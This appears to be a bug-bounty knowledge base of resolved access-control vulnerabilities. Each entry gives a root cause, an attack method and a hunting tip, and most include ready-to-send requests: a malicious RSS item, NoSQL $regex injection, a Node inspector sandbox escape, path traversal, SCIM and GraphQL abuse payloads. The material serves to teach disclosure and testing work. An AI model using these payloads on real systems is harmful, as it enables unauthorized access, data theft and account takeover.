Insight — UI-level 'access denied' rarely means the data layer is protected. Always pull the AJAX/API endpoints out of the client JS behind a forbidden page and call them directly with a low-privilege session; admin-only routes are frequently only hidden, not authorized.
Real-world example
Feed content navigates to privileged chrome:// URLs (SOP bypass)
◆ High
Specimen #1819668 · brave · awarded · 12 votes · resolved
Program braveSurface desktopChain malicious RSS link scheme → privileged chrome:// navigation
Root cause
Brave News rendered RSS feed link URLs without restricting the scheme, so a feed item's link could be a chrome:// URL. Clicking it navigated the tab to a privileged browser page (e.g. chrome://settings/resetProfileSettings), bypassing the Same-Origin Policy boundary between web content and privileged UI.
Method
- Host an RSS feed whose item link is a chrome:// URL
- Get the victim to add the feed as a Brave News source
- Reload the New Tab / Brave News; the malicious item renders
- Clicking the item opens the arbitrary chrome:// page in the tab
<!-- attacker RSS item -->
<item>
<title>Access chrome: URLs</title>
<link>chrome://settings/resetProfileSettings?origin=userclick</link>
</item>
Insight — Any feature that renders remote-supplied URLs as clickable navigation (RSS, notifications, deep links, in-app browsers) must whitelist schemes to http/https. Test with chrome://, about:, file://, javascript:, and internal privileged schemes to find SOP/zone boundary breaks.
Real-world example
Password-confirmation gate bypassed via alternate route
◆ High
Specimen #2067572 · nextcloud · 250 · 11 votes · resolved
Program nextcloudSurface webTag account-takeover
Root cause
App-password generation is protected by a recent-password-confirmation guard on the settings controller, but a different route reaches the same functionality without that guard, making the confirmation ineffective.
Method
- Identify a sensitive action protected by a re-authentication/password-confirmation guard
- Find an alternate endpoint that performs the same action (OCS/API vs settings controller)
- Call the unguarded route to perform the action without confirmation
GET/POST https://SERVER/ocs/v2.php/core/getapppassword
# returns a new app password with no password-confirmation challenge
Insight — Re-auth/sudo-mode/password-confirmation guards are often attached to one controller. Map every route that produces the same effect (settings UI vs OCS/REST/mobile API) and test the guard on each; unguarded siblings defeat the protection.
Real-world example
Unauthenticated state-changing (delete) endpoint keyed by a sequential ID
◆ High
Specimen #1493007 · deptofdefense · none · 11 votes · resolved
Program deptofdefenseSurface web
Root cause
The endpoint that deletes user access-requests performs no authentication/authorization and takes only a numeric request ID. IDs are sequential, so any record can be enumerated and destroyed.
Method
- Submit a request form; note the sequential numeric ID returned in the response
- Send the delete request supplying only that ID; no session required
- Enumerate the sequential ID space to delete all records
curl https://TARGET/<delete-endpoint> -X POST --data "url=%2F<path>&<id_param>=<REQUEST_ID>" -k
Insight — Whenever a create action returns a small sequential integer, probe the corresponding read/update/delete endpoints unauthenticated. Missing authz on destructive endpoints + enumerable IDs = full data-loss primitive.
Real-world example
Client-side auth gate bypass by rewriting 401 responses to 200 in an intercepting proxy
◆ High
Specimen #1690548 · deptofdefense · none · 11 votes · resolved
Program deptofdefenseSurface web
Root cause
A SPA (Harbor registry admin UI) decides login state from the API response status; the backend returns 401 but the client trusts it. Rewriting the response to 200/Authorized in Burp flips the UI into an authenticated state, exposing data and functionality.
Method
- Attempt login (e.g. admin:admin) and enable Burp 'intercept response to this request'
- Rewrite the auth response HTTP/1.1 401 Unauthorized to HTTP/1.1 200 OK
- For subsequent gate checks like GET /api/v2.0/users/current, rewrite the 401 JSON error body to a 200 Authorized body
- UI renders authenticated views / sensitive data
# Burp: intercept response, change status line and body
HTTP/1.1 401 Unauthorized -> HTTP/1.1 200 OK
{"errors":[{"code":"UNAUTHORIZED"}]} -> {"message":"Authorized"}
Insight — For SPAs, test whether authorization is enforced server-side per resource or only inferred by the client from a status/flag. Rewrite 401->200 and error bodies to success; if data still renders it is pure client-side gating.
Real-world example
Path-based access-control bypass via a bogus prefix + /.. traversal (ColdFusion CVE-2023-38205)
◆ High
Specimen #2090435 · deptofdefense · none · 11 votes · resolved
Program deptofdefenseSurface web
Root cause
Access control is enforced by URL prefix matching, but the server normalizes /junk/..CFIDE/... back to /CFIDE/... after the auth check; a fake leading segment plus .. reaches a restricted CFC endpoint that should require auth. This is the bypass of the CVE-2023-29298 fix.
Method
- Take a restricted path (e.g. /CFIDE/wizards/common/utils.cfc)
- Prepend an arbitrary segment and .. so the auth filter sees a different prefix but the router resolves the real path
- Invoke the remote method
GET /hax/..CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx
Insight — When authz is done by string-prefix on the raw path but routing normalizes it, inject a throwaway prefix + traversal (/anything/..REAL/PATH). Test the delta between the filter's view of the path and the handler's view.
Real-world example
Persistent data access via un-rotated API key after user removal
◆ High
Specimen #399174 · x · awarded · 11 votes · resolved
Program xSurface apiTag account-takeover
Root cause
Reporting API keys are static per-org and never auto-rotated when a user is removed from the organization, so a de-provisioned user who noted the API key + report IDs retains access to current and future report data.
Method
- While invited to an org, enable the Reporting API and record the API key + inventory/campaign/individual report IDs
- Get removed from the org's Manage Users
- Continue downloading reports directly via the API using the noted key and report IDs
GET /reports/custom/api/download_report?report_key=[REPORT_ID]&api_key=[API_KEY]&date=YYYY-MM-DD
Host: app.mopub.com
Insight — Offboarding rarely rotates long-lived API keys or invalidates capability tokens. After access is revoked in the UI, retry any API key/token captured earlier - authz on those endpoints often only checks the key, not current membership.
Real-world example
Self-signup on an IdP/SSO sandbox accepting employee email domains -> internal apps
◆ High
Specimen #837510 · elastic · awarded · 10 votes · resolved
Program elasticSurface webChain recon staging IdP -> open SAML self-signup -> domain-tTag saml
Root cause
A staging SSO IdP (staging.found.no feeding auth-sandbox.elastic.co via SAML) allowed open self-registration with any email address, including @elastic.co. Internal apps gate access purely on the email domain of the SSO identity, so registering an @elastic.co account grants employee-only apps (e.g. Elastic Cloud Admin QA).
Method
- Recon exposed staging hosts / SAML SSO entry points from JS/source
- Use the IdP self-signup to register an account with a privileged email domain (@company.com)
- Log into the SSO-protected app; domain-based trust grants internal-only apps
1. Sign up at https://staging.found.no/ with email attacker@elastic.co
2. Log in at https://auth-sandbox.elastic.co with those creds
3. Launch employee-only apps
Insight — Whenever authorization derives from an email domain, look for any registration surface (staging IdP, sandbox SSO, invite flow) that lets you self-assign that domain without verification. Trusted-domain checks assume the identity provider verifies ownership.
Real-world example
API exposes secrets the UI protects (pipeline schedule variables)
◆ High
Specimen #962462 · gitlab · awarded · 9 votes · resolved
Program gitlabSurface apiTag graphql
Root cause
GitLab's UI enforced that only schedule owners/maintainers could read scheduled-pipeline variables, but the REST endpoint GET /projects/:id/pipeline_schedules/:id returned the variable names and values to any user - even non-members (CVE-2020-13351).
Method
- Create a project with a scheduled pipeline containing custom variables (only owner can read them in UI)
- From a second, unrelated account, call the single-schedule REST endpoint with your own token
- Read the returned variables[] name/value pairs
curl --header "Private-Token: <second_user_token>" https://gitlab.com/api/v4/projects/<project_id>/pipeline_schedules/<schedule_id>
Insight — Whenever a UI restricts who can view a field, re-request the same object through the JSON/REST/GraphQL API - authorization is frequently enforced only in the web controller, not the API. Diff UI-visible vs API-returned fields.
Real-world example
Self-registration + internal feature exposes full user directory (Oracle EBS)
◆ High
Specimen #1624374 · deptofdefense · none · 8 votes · resolved
Program deptofdefenseSurface web
Root cause
Open self-registration grants an authenticated foothold, and an internal feature (Oracle E-Business Suite 'vacation rules' user search) exposes the full user list/PII to any logged-in account.
Method
- Self-register at the Oracle EBS SSO registration page (ibeCAcpSSOReg.jsp)
- Log in via AppsLocalLogin.jsp
- Open Vacation Rules > Create > search users
- Directory of users is disclosed
/OA_HTML/ibeCAcpSSOReg.jsp (register)
/OA_HTML/AppsLocalLogin.jsp (login)
-> Vacation Rules -> Create -> Search users
Insight — After any self-registration, walk every stock feature of the underlying product (Oracle EBS, SharePoint, etc.) for user/people pickers and search widgets - they routinely leak the whole directory to the lowest-priv role.
Real-world example
NoSQL operator injection + missing room binding in a chat pin method leaks private messages
◆ High
Specimen #1062538 · rocket_chat · none · 8 votes · resolved
Program rocket_chatSurface web
Root cause
A Meteor RPC method (pinMessage) took a client-supplied message object, checked only that the caller was subscribed to message.rid but never that the target _id actually belonged to that rid, then passed the raw object straight into a Mongo update whose return value contained the message. Because the object is un-type-checked, _id can be a Mongo operator.
Method
- Obtain any room ID you can access (e.g. from a channel avatar URL).
- Open the web console and call the RPC with a wildcard regex _id and your accessible rid.
- The RPC callback returns the pinned message document, including content of messages from private channels you cannot see.
Meteor.call("pinMessage", {
_id: { $regex: /.*/ },
rid: "<ACCESSIBLE_ROOM_ID>"
}, (...args) => console.log(...args));
Insight — On Meteor/Mongo (and any JSON API) look for endpoints that accept a whole object and forward it to the DB without check()/type validation - a string field replaced by {$regex}, {$ne}, {$gt} turns an equality lookup into an enumeration oracle. Also test whether a child object ID (message) is verified to belong to the parent (room) you're authorized for, not just that both exist.
Real-world example
Client-side-only auth redirect: protected page body ships before the 302
◆ High
Specimen #648222 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface web
Root cause
Access control is enforced with a redirect (Location header / meta refresh / JS redirect) instead of stopping page generation, so the full authenticated HTML/PII is rendered in the response body and only hidden by the browser following the redirect.
Method
- Request a protected page (mission.php, personnel.php, index.php) as an unauthenticated user.
- Observe a redirect to the login form, but note the response body still contains the protected content.
- In Burp, intercept the response and delete the redirect (or set intercept-response and strip the Location/302), or read the body directly.
- The private/authenticated content is exposed without login.
Burp: Proxy > Options > intercept server responses; on the protected request choose 'Do intercept > Response'; delete the 3xx status/Location so the browser renders the leaked body.
Insight — Any time a login gate is implemented as a redirect rather than a hard server-side stop, grab the raw response body. Test with curl -s (no -L) and grep for authenticated markers; a 302 whose body is non-empty is the tell.
Real-world example
Node.js permission-model bypass via the inspector module (flip isInternal on Worker)
◆ High
Specimen #1962701 · nodejs · none · 6 votes · resolved
Program nodejsSurface other
Root cause
The --experimental-permission model does not disable the built-in node:inspector module; from the inspector an attacker can set a conditional breakpoint inside node:internal/worker to force isInternal=true, creating an 'internal' Worker that bypasses all process-level permission restrictions.
Method
- Connect an in-process inspector Session (node:inspector/promises).
- Locate the Worker function source and the line calling 'new WorkerImpl' via Runtime/Debugger domains.
- Set a conditional breakpoint at that line with condition '((isInternal = true),false)'.
- Instantiate a Worker with execArgv granting fs/child_process; it runs as internal and ignores the permission model -> read /etc/passwd, execSync.
const {Session}=require('node:inspector/promises');
const s=new Session(); s.connect();
await s.post('Debugger.enable'); await s.post('Runtime.enable');
// ...resolve WorkerImpl line...
await s.post('Debugger.setBreakpointByUrl',{lineNumber,url:'node:internal/worker',columnNumber:0,condition:'((isInternal = true),false)'});
new Worker(`require('child_process').execSync('ls -l')`,{eval:true,execArgv:['--experimental-permission','--allow-fs-read=*','--allow-child-process']});
Insight — Any sandbox/permission layer that leaves a debugging/introspection interface enabled is bypassable: the debugger can rewrite the very state the sandbox relies on. Audit for inspector/debug protocols still reachable under 'locked-down' modes.
Real-world example
DNS rebinding to Node --inspect via an over-broad localhost whitelist (localhost6)
◆ High
Specimen #1069487 · nodejs · USD 500 · 5 votes · resolved
Program nodejsSurface otherChain DNS rebinding -> reach 127.0.0.1:9229 inspector -> Web
Root cause
The debugger's anti-DNS-rebinding whitelist includes 'localhost6', a name usually NOT present in /etc/hosts and therefore resolvable over the network; an attacker who controls DNS responses can rebind localhost6 to 127.0.0.1 and reach the debugger, bypassing the fix for CVE-2018-7160.
Method
- Get a victim running node --inspect to visit an attacker page.
- Point the page at http://localhost6:9229 (an allowed Host value) served first from the attacker IP.
- Serve DNS with a short TTL, then rebind localhost6 to 127.0.0.1 so subsequent same-origin fetches hit the local debugger.
- Read /json to obtain webSocketDebuggerUrl and connect via WebSocket (not bound by same-origin) -> code execution in the Node process.
http://localhost6:9229/json (rebind localhost6 A record: attacker-IP -> 127.0.0.1, short TTL)
Insight — Host/Origin allowlists for localhost protections must only trust names guaranteed to resolve locally (localhost per RFC 6761). Any extra alias not pinned in /etc/hosts (localhost6, *.localhost, made-up names) is a DNS-rebinding hole. WebSocket ignores SOP, making it the pivot of choice.
Real-world example
Server RPC method validates argument type but not authorization -> private message disclosure
◆ High
Specimen #1410246 · rocket_chat · none · 3 votes · resolved
Program rocket_chatSurface apiChain guess/derive roomId -> unauthorized method call -> reaTag api
Root cause
The Meteor server method getUserMentionsByChannel runs check(roomId, String) and confirms the room exists, but never verifies the caller has access to that room, returning all messages the caller was @mentioned in - including from private channels and DMs they cannot otherwise read (CVE-2022-35249).
Method
- Authenticate as any user (trudy).
- Obtain a target roomId (guess a DM roomId by concatenating the two user IDs, or leak a channel id).
- Call getUserMentionsByChannel with that roomId from the browser console.
- Read messages where you were mentioned in that private room, despite no membership (getMessages on the same id returns 'Not allowed').
let alice='kYfzDMQLyPFjS9ASb', bob='zZnrfd2RvcWhspr6S';
Meteor.call(
"getUserMentionsByChannel",
{ roomId: `${alice}${bob}` }, // DM roomId = concatenation of user ids
(err, data) => console.log(data.map(m => `${m.u.username}: ${m.msg}`).join("\n"))
);
// leaks the DM even though getMessages([id]) -> 'Not allowed [error-not-allowed]'
Insight — Meteor/RPC-style server methods frequently `check()` the shape/type of arguments and stop there, mistaking input validation for authorization. For every server method or RPC, test it with an object ID you should not be able to read - a missing per-room/per-object permission check is a direct IDOR-style data leak. DM room IDs are often just the concatenation of the two user IDs, so they are guessable.
Real-world example
Unauthenticated theme AJAX handler runs arbitrary WP_Query and add_post_meta
◆ High
Specimen #157412 · secnews · awarded · 3 votes · resolved
Program secnewsSurface web
Root cause
A WordPress theme's ajax.php is directly reachable with no auth/nonce and passes attacker-controlled arrays straight into WP_Query() and add_post_meta(), allowing disclosure of non-public posts and injection of arbitrary numeric post meta.
Method
- POST to the theme ajax.php with a currentquery[] array to run an arbitrary WP_Query (e.g. post_status=future to read scheduled posts)
- POST with action=rate to call add_post_meta() with an arbitrary meta_key and numeric value on any post id
- Abuse meta to flip plugin/theme booleans, counters, timestamps (defacement/info-disclosure) or flood the DB
curl https://target/wp-content/themes/<theme>/functions/ajax.php --data 'action=sort&loop=main loop¤tquery[post_status]=future'
curl https://target/wp-content/themes/<theme>/functions/ajax.php --data 'id=100000&action=rate&meta=_bg_color_override&rating=1'
Insight — Theme/plugin ajax endpoints loaded directly (not via admin-ajax with nonce) are prime unauth sinks. Grep for user input flowing into WP_Query, get_posts, add/update_post_meta, meta_query. Passing a raw array into WP_Query lets you set post_status/meta_query to read hidden content.
Real-world example
Unauthenticated test/integration REST API leaks email OTP/activation codes -> account takeover
◆ High
Specimen #745171 · deptofdefense · none · 2 votes · resolved
Program deptofdefenseSurface apiChain Exposed Swagger -> unauthenticated EmailMessages API ->Tag account-takeover
Root cause
A test/integration API (documented by an exposed Swagger UI) had no authentication on its routes, exposing document, email-template, and email-message endpoints. The email-message endpoint returned bodies containing login authentication codes, so anyone could read the OTPs needed to log into the associated proposal system.
Method
- During recon, find the Swagger/OpenAPI docs for the service and enumerate its routes.
- Hit the unauthenticated collection endpoints directly (Documents, EmailTemplates, EmailMessages).
- Read sent emails via the EmailMessages route to harvest authentication/activation codes.
- Use a harvested code at the front-end proposal system login to authenticate as that user.
GET /api/1_0/Documents
GET /api/1_0/EmailTemplates
GET /api/1_0/EmailMessages
# EmailMessages returns bodies like:
# "Body":"Your authentication code is 373A51. This code will expire at 09:23 AM ..."
# -> replay 373A51 at https://<target>/Bid login
Insight — Always look for a parallel test/integration/staging API and its Swagger docs — these frequently ship with auth disabled. An endpoint that returns sent-email contents is an auth-bypass primitive: it leaks password-reset/2FA/activation codes, turning info disclosure into full account takeover.
Real-world example
App token scope bypass on non-repo org resources in GraphQL
◆ High
Specimen #1711938 · github · awarded · 198 votes · resolved
Program githubSurface graphqlTag graphql
Root cause
GitHub App scoped user-to-server tokens could access/modify most organization-level resources not tied to a repository (users, org-wide Projects V2) through the GraphQL API regardless of the permissions actually granted to the app (CVE-2022-23739).
Method
- Install a GitHub App with minimal/no relevant permissions
- Use its user-to-server token against Project V2 / org-level GraphQL queries and mutations
- Observe access to org-wide projects and users beyond granted scope
Insight — Authorization for API tokens is enforced per-resolver; newer API surfaces (GraphQL Projects V2) frequently miss the scope checks the REST equivalents have. Test least-privilege app/integration tokens against the newest org-level GraphQL endpoints — repo-tied resources may be fine while org-level ones are not.
Real-world example
New feature API endpoints ship without OAuth scope/permission checks
◆ Medium
Specimen #1032468 · x · awarded · 398 votes · resolved
Program xSurface apiTag oauth
Root cause
Freshly shipped Fleets API endpoints (/fleets/v1/create, /fleets/v1/delete) omitted the write-permission check that mature endpoints enforce, so a read-only OAuth application could perform state-changing writes.
Method
- Reverse-engineer the mobile app (apktool/dex2jar/CFR) and grep for the feature name to enumerate its endpoints.
- Authenticate as a READ-ONLY application.
- Call the new write endpoint directly and confirm it succeeds (compare against a mature endpoint that correctly returns 'Read-only application cannot POST').
# with twurl authed as a read-only app
twurl /fleets/v1/create -X POST --header 'Content-Type: application/json' -d '{"text":"Hey yo"}'
Insight — Newly launched features are the softest attack surface: diff a new endpoint's behavior against an established one of the same class. Test every new write endpoint from a read-only/low-scope token to catch missing permission gates.
Real-world example
Authz check on a param the code then ignores (validated appid dropped)
◆ High
Specimen #577584 · valve · awarded · 109 votes · resolved
Program valveSurface apiTag account-takeover
Root cause
ISteamAssets APIs verified the partner key had access to the supplied appid, then ignored appid and always operated on app 753 (Steam community market); the authorization key was checked against the wrong (attacker-chosen) resource.
Method
- Obtain a partner key with legitimate access to any appid
- Call an ISteamAssets endpoint passing your authorized appid
- Backend ignores appid and mutates app 753 items (trading cards, market)
- Reverse wallet spending / modify economy items
Insight — Look for endpoints that authorize against a client-supplied resource id but then act on a different/fixed resource; the 'check this id, use that id' gap grants cross-resource control with a valid low-scope credential.
Real-world example
Privileged role can edit another member's email -> account takeover
◆ High
Specimen #1634165 · stripe · awarded · 101 votes · resolved
Program stripeSurface webChain email edit of member -> password reset to attacker email Tag account-takeover
Root cause
An Organization Owner could change the email address of any member of their org; combined with email-based password reset this yields takeover of that member's account.
Method
- As an org owner/admin, edit a target member's profile and change their email to an attacker-controlled address.
- Trigger password reset (or re-verification) which now goes to the attacker email.
- Complete reset -> control of the victim account.
Insight — On any multi-tenant/org app, test whether an admin/owner role can mutate another user's *email* (or phone) field. Email is the recovery anchor, so email-edit on someone else's account is almost always an ATO primitive. Owners should be blocked from editing member emails.
Real-world example
Missing authorization on migration upload lets attacker poison victim's archive
◆ High
Specimen #3506183 · github · awarded · 87 votes · resolved
Program githubSurface webTag supply-chainTag file-upload
Root cause
The GitHub Enterprise repository-migration upload endpoint (MigrationFile) lacks an ownership check, so an authenticated user who supplies another user's migration identifier can upload/overwrite that victim's migration archive.
Method
- Authenticate to the target GitHub Enterprise Server instance
- Send an upload to the migration file endpoint supplying the victim's migration id
- Attacker-controlled content overwrites/replaces the victim migration archive, tainting later restores/imports
Insight — Upload/write endpoints are frequently forgotten in authz reviews. A missing check on a write-by-id sink is a supply-chain style IDOR: the victim later imports attacker-controlled data during migration restore.
Real-world example
New feature's broken query scoping leaks other users' data
◆ Medium
Specimen #188719 · security · 10000 · 285 votes · resolved
Program securitySurface web
Root cause
A new /settings/skills feature used an incorrectly scoped query, returning the report titles that OTHER hackers submitted as proof for the same skill set.
Method
- Exercise newly rolled-out features that aggregate user-submitted proof
- Inspect the response for records belonging to other users
- Confirm the query lacks a per-user filter
GET /settings/skills (response includes other users' submitted report titles)
Insight — Freshly shipped, staged-rollout features often ship with un-scoped queries; check whether responses include other tenants'/users' rows.
Real-world example
SCIM provisioning mints pre-verified emails, bypassing IdP email-domain trust
◆ Medium
Specimen #565883 · gitlab · awarded · 248 votes · resolved
Program gitlabSurface apiChain email verification bypass -> access internal @company.comTag samlTag account-takeover
Root cause
SCIM user-provisioning API (available to any paid group owner) sets an email as verified without an ownership check, so any downstream service that trusts 'verified @company.com' via the IdP can be accessed.
Method
- Upgrade a group to a paid plan that unlocks SAML/SCIM
- Configure SAML SSO and generate a SCIM token
- POST a SCIM Users request with emails[].value set to any @target-domain address
- Log in via the group SSO with the chosen externalId -> account has a verified target-domain email
- Access internal apps that gate on 'signed in with verified @company.com'
POST /api/scim/v2/groups/GROUP/Users HTTP/1.1
Host: gitlab.com
Authorization: Bearer SCIM_TOKEN
Content-Type: application/scim+json
{"externalId":"x","active":null,"userName":"anyname","emails":[{"primary":true,"type":"work","value":"victim@gitlab.com"}],"name":{"formatted":"T U","familyName":"U","givenName":"T"},"schemas":["urn:ietf:params:scim:schemas:core:2.0:User"]}
Insight — Whenever email 'verified' status can be set through a side channel (SCIM, admin import, invite, OAuth link), the app's email-domain-based authorization is broken. Hunt every path that writes the verified flag, not just the /verify link.
Real-world example
Shared E2EE metadata file writable by other participant -> break availability
◆ High
Specimen #1914115 · nextcloud · 400 · 43 votes · resolved
Program nextcloudSurface api
Root cause
In an end-to-end-encrypted file-drop the shared metadata file was provided to every participant and could be overwritten by any of them; a malicious participant could fetch it, tamper with another user's entry and re-upload, making the victim's uploaded file undecryptable (integrity/availability break) and leaking the existence of other drops.
Method
- Two participants share an E2EE file-drop
- Victim uploads their encrypted file successfully
- Attacker (other participant) obtains the shared metadata file
- Attacker modifies the victim's entry and uploads the tampered metadata, then unlocks
- Victim's file can no longer be decoded
Insight — When multiple untrusted parties share a mutable state/metadata object, check who can read and overwrite it. Providing the full metadata to every participant (rather than server-side appending only their own entry) lets one party corrupt others' data.
Real-world example
Unauthorized API-token rotation by UUID (missing ownership check on Roll Token)
◆ High
Specimen #1525309 · cloudflare · awarded · 34 votes · resolved
Program cloudflareSurface api
Root cause
The Roll Token API method rotates the token identified by a supplied token ID (UUID) without verifying the caller owns that token, letting an attacker who knows a victim's token UUID invalidate it - DoS for the owner and dependent apps.
Method
- Obtain a victim's API token ID (UUID)
- Call the Roll Token API method with that token ID
- The victim's token is rotated/invalidated, breaking their integrations
Insight — Token/key/session management endpoints (roll, revoke, rotate) must scope to the caller's own objects. Test them with another user's object UUID - lifecycle operations are frequently missing the ownership check that read/use paths have.
Real-world example
Authorization/ban bypass via ASP.NET path-info and unanchored URL whitelist
◆ Medium
Specimen #703058 · roblox · awarded · 232 votes · resolved
Program robloxSurface web
Root cause
Ban enforcement redirects unless the URL matches a whitelist; the /membership/ rule was not anchored to the path start, and ASP.NET ignores extra path segments after .aspx/.ashx, so appending /membership/ satisfies the whitelist while still hitting the real handler.
Method
- Observe banned sessions are redirected unless URL is whitelisted
- Take any state-changing .aspx/.ashx endpoint
- Append /membership/ after the extension
- Request executes normally, bypassing the ban redirect
https://www.roblox.com/my/money.aspx/membership/
https://www.roblox.com/API/Comments.ashx/membership/
Insight — Path-based allow/deny rules break on framework path-info quirks (ASP.NET path after .aspx/.ashx, PathInfo, ;matrix params) and unanchored regexes. Also test whether a separate host (api.roblox.com) skips the control entirely.
Real-world example
Config-read failure re-exposes setup wizard for anonymous admin creation
◆ High
Specimen #522876 · nextcloud · none · 11 votes · resolved
Program nextcloudSurface webChain config read fail -> installed=false -> public installeTag account-takeover
Root cause
If the app cannot read its config.php (transient NFS/SMB failure, concurrent write, empty read in a multi-container/Docker deployment) it assumes it is not installed and re-serves the first-run installer, letting any anonymous user create a new admin against the existing populated database.
Method
- Deploy in a shared-config/multi-container setup where config.php can transiently fail to read
- Trigger or wait for a read failure (NFS timeout, concurrent write, restart)
- The instance rewrites config.php with installed=false and serves the installer
- Complete the installer with attacker credentials to gain admin over the existing data
Insight — Apps that infer 'not installed' from a missing/empty config will re-expose the setup wizard on any config-read hiccup. In containerized/shared-storage deployments, test whether an empty/absent config yields the installer while the DB already has tables — a full-takeover primitive. The installer should refuse to run if DB tables/admin users already exist.
Real-world example
Confused-deputy integration takeover by re-linking a removed integration via enumerable tenant/installation IDs
◆ High
Specimen #2086301 · cloudflare · awarded · 11 votes · resolved
Program cloudflareSurface cloudTag cloud-azure
Root cause
Cloudflare CASB lacked backend validation that the account re-adding a Microsoft/GitHub/Box integration actually owns it. Knowing a valid tenant_id / enterprise app id / installation_id that a previous customer had connected and later removed, an attacker adds that same integration to their own account and reads its CASB findings.
Method
- Identify a removed/dangling integration's identifier (Microsoft tenant UUID or domain, GitHub/Box installation_id)
- Add that integration to your own CASB account; backend never re-verifies ownership
- Read sensitive CASB findings for the victim org's integration
Insight — When a SaaS lets tenants connect external orgs by an ID, test whether removing and re-adding re-establishes trust without re-proving ownership. Enumerable/guessable installation or tenant IDs turn 'integration' features into cross-tenant data access (classic confused deputy).
Real-world example
Config backup/restore endpoints lack privilege checks → add admin
◆ High
Specimen #329659 · ui · awarded · 11 votes · resolved
Program uiSurface webChain low-priv session → unrestricted config restore → inject admi
Root cause
CVE-2020-8145: UniFi Video's 'backup'/'wizard' configuration-restore endpoints did not verify the caller's privilege level, so low-privileged users (PUBLIC_GROUP/CUSTOM_GROUP) could overwrite the entire application configuration, including creating new administrative users.
Method
- As a low-privileged user, locate the config backup/restore or setup-wizard endpoints
- Submit a modified configuration via the restore endpoint
- Include an added administrative user in the restored config
- Log in as the new admin
Insight — Backup/restore, import, and setup-wizard endpoints are high-value privesc targets: they rewrite whole-config state and are often exempted from the normal authorization checks. Enumerate /backup, /restore, /wizard, /setup and test them with a low-priv session.
Real-world example
Server impersonation via local port squatting against a client-only-authenticated RPC
◆ High
Specimen #462442 · monero · none · 10 votes · resolved
Program moneroSurface desktop
Root cause
monero-wallet-rpc uses HTTP digest auth, which authenticates only the client, not the server. An unprivileged local user pre-binds the RPC port before the victim starts the wallet; the victim's client then connects to the attacker's fake server (create_wallet etc.), and the attacker controls the resulting wallet.
Method
- As a low-priv/guest local user, run a process that binds the wallet RPC port and speaks the RPC protocol
- Wait for the victim (or auto-start config) to launch monero-wallet-rpc, which fails silently or the victim's client targets the squatted port
- Capture/serve wallet commands so new wallets are created under attacker control
Insight — Any localhost service using client-only auth (HTTP digest, bearer to server) is impersonable by whoever binds the port first. Look for missing server authentication / no TLS pinning on local IPC and RPC; recommend mutual auth or OS-level socket ownership checks.
Real-world example
Program-control bypass via alternate embedded submission endpoint
◆ Medium
Specimen #418767 · security · 10000 · 207 votes · resolved
Program securitySurface webTag account-takeover
Root cause
The main report-submission path enforces a program's 2FA requirement, rate limits, abuse limits and reporter blacklist; the embedded_submissions endpoint does not, so all those controls are bypassed by submitting through it.
Method
- Disable 2FA on your account so the normal Submit Report is blocked
- Grab the program's embedded submission URL from the policy page
- Submit via /<uuid>/embedded_submissions/new — controls not enforced
POST https://hackerone.com/<program-uuid>/embedded_submissions/new
Insight — Whenever a control (2FA gate, rate limit, blacklist) is enforced on the primary UI, enumerate ALTERNATE entry points to the same action — embedded/iframe forms, mobile API, legacy endpoints, GraphQL mutations — and re-test each. Controls are frequently attached to one path only.
Real-world example
Ticketing 'caller/on-behalf-of' field lets you open a case for any user and read their PII
◆ High
Specimen #869450 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface web
Root cause
A support/incident-creation feature (ServiceNow-style) lets a low-privileged user set the 'caller' to an arbitrary user and exposes a PII lookup ('i' button) on that field; there is no restriction to admins, enabling targeted phishing-through-the-platform plus PII disclosure.
Method
- As a normal user, open the incident/case creation page.
- In the caller / assigned-user field, select any target user; use the info ('i') control to read their PII.
- Attach a file or craft an 'additional comments' message (phishing lure) and submit the incident on the victim's behalf.
- Monitor the incident to see when the victim views/responds - the platform lends legitimacy to the lure.
Insight — On enterprise ticketing/ITSM apps, always test whether the 'caller'/'requested for'/'on behalf of' field trusts client-supplied identity. It commonly doubles as a PII oracle and a trusted phishing channel.
Real-world example
Privilege persistence via ghost members after subgroup ownership transfer
◆ High
Specimen #790786 · gitlab · awarded · 5 votes · resolved
Program gitlabSurface web
Root cause
Transferring a subgroup from one parent group to another does not recompute/strip inherited memberships; the original parent's members keep their inherited access level on the moved subgroup and its projects while not appearing in the members list ('ghost members').
Method
- Create private GroupA (with extra members at maintainer/owner) and private GroupB (only you).
- Create subgroupA + a project under GroupA.
- Transfer subgroupA into GroupB.
- As a GroupA member who is not in GroupB, confirm you still have full access to subgroupA/project and do not show up in the members tab.
Insight — Ownership/parent transfers are a rich access-control surface: test whether inherited grants are recomputed after a move. 'Access without appearing in the member list' is both a privilege-persistence and an auditability bug.
Real-world example
GraphQL mutation missing permission check (BFLA) leaks app session tokens
◆ Medium
Specimen #898528 · shopify · awarded · 173 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
The adminGenerateSession mutation returned an app session token to a staff member holding NO permissions, because the mutation lacked the Apps-permission check its function required.
Method
- As a zero-permission staff user, call the privileged mutation directly
- Receive the session/app token
POST /admin/internal/web/graphql/core
{"operationName":"GenerateSessionToken","variables":{"appId":"gid://shopify/App/"},"query":"mutation GenerateSessionToken($appId: ID!){adminGenerateSession(appId:$appId){session}}"}
Insight — Enumerate GraphQL mutations and call each with a low/zero-privilege account (BFLA); function-level authz is frequently enforced in the UI but missing on the resolver.
Real-world example
Undocumented GraphQL mutation (fileCopy) bypasses UI permission model
◆ Medium
Specimen #981472 · shopify · 2000 · 157 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
A GraphQL mutation not exposed in the UI (fileCopy) lacks the object/permission checks the UI enforces; a low-privilege staff account can call it directly to act cross-tenant.
Method
- Enumerate GraphQL schema / harvest mutation names from JS bundles and introspection
- Find mutations with no UI entry point (fileCopy)
- As low-priv staff on storeA, upload a file to your own storeB to obtain absoluteKey/key/path
- Call fileCopy on storeA with storeB's file identifiers to copy assets you cannot normally add
POST /admin/internal/web/graphql/core HTTP/1.1
Host: storeA.myshopify.com
Content-Type: application/json
X-CSRF-Token: <token>
{"query":"mutation fileCopy($key:String!,$absoluteKey:String!,$path:String!){fileCopy(key:$key,path:$path,absoluteKey:$absoluteKey){file{path} userErrors{field message}}}","variables":{"absoluteKey":"s/files/1/d/.../1.jpg","key":"files/1.jpg","path":"https://cdn.shopify.com/s/files/1/..../1.jpg"}}
Insight — Grep JS bundles and run introspection for mutations with no UI button; undocumented/internal operations are the ones most likely to skip authorization checks (BFLA).
Real-world example
Account ban/deletion not enforced across all subsystems (stale API token)
◆ Medium
